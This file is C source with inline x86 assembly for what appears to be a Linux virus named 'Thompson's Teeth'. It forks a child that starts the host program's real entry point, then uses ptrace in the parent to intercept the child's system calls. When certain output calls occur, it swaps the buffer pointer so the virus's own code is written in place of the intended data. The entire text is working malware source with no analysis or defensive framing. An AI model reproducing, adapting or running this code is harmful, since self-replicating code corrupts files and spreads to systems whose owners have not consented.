/* Thompson's Teeth: The only teeth strong enough to eat other teeth */
#include <signal.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <asm/user.h>

extern void foo(), main();
asm (".globl main; main: add $40,%esp; call _main; popa; push $fake; ret");

#include "syscalls.h"

int _main(int argc)
{
	pid_t pid;
	uint32_t self = *(uint32_t*)(&argc - 1) - 8,
		size = (uint32_t)foo - (uint32_t)main;
	if (0 == (pid = fork(0xdeadbeef))) {
		if (ptrace(PTRACE_TRACEME, 0, 0, 0) != -1) {
			kill(getpid(), SIGINT);
			self &= ~4095;
			while (*(uint32_t*)self != 0x464c457fUL)
				self -= 4096;
			asm ("jmp *%0":: "r"(*(uint32_t*)(self + 24)));
		}
	} else {
		int status, sys_state = 0;
		for(;;) {	
			struct user_regs_struct regs;
			if (ptrace(PTRACE_GETREGS, pid, 0, &regs) != -1) {
				if (regs.orig_eax == -1 ||
					(regs.orig_eax == 2 &&
					regs.ebx == 0xdeadbeef))
					ptrace(PTRACE_KILL, pid, 0, 0);
				if (0 == (sys_state = 1 - sys_state) &&
					regs.eip >= regs.ecx &&
					regs.eip < (regs.ecx + regs.edx) &&
					regs.edx >= size) {
			        	regs.ecx = self;
				        ptrace(PTRACE_SETREGS, pid, 0, &regs);
	       			}
        		} else
        			break;
	        	if ((int)ptrace(PTRACE_SYSCALL, pid, 0, 0) < 0)
	        		break;
		        waitpid(pid, &status, 0);
		}
	}
}
asm("foo:");

void fake(void)
{
	exit(0);
}
